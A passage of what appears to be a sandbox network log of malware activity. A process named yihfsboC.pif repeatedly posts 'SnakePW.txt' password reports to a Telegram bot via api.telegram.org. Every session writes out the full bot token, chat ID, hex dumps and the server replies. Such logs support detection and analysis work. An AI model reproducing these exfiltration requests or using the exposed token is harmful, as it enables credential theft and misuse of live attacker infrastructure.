{"ok":true,"result":{"message_id":389031,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605999,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	50033	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:39 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd11aa88ccb890 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:39 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 61 61 38 38 63 63 62 38 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd11aa88ccb890Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:39 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:39 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389032,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605999,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	50032	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:39 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd13bb487a2aa3 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:39 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 33 62 62 34 38 37 61 32 61 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd13bb487a2aa3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:39 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:39 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389033,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605999,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	50040	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:41 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd11dc4fb6d2d1 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:41 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 64 63 34 66 62 36 64 32 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd11dc4fb6d2d1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:41 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:41 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389038,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606001,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	50039	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:41 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd11c811aae335 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:41 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 63 38 31 31 61 61 65 33 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd11c811aae335Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:41 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:41 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389039,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606001,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	50041	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:41 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1423a1fed966 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:41 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 34 32 33 61 31 66 65 64 39 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1423a1fed966Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:41 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:41 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389040,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606001,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	50047	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:43 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd12345456dd07 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:43 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 32 33 34 35 34 35 36 64 64 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd12345456dd07Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:43 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:44 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389044,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606003,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	50049	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:43 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd14c06965d3a2 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:43 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 34 63 30 36 39 36 35 64 33 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd14c06965d3a2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:43 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:44 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389045,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606003,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	50048	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:43 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1220a2538758 Host: api.telegram.org Content-Length: 537
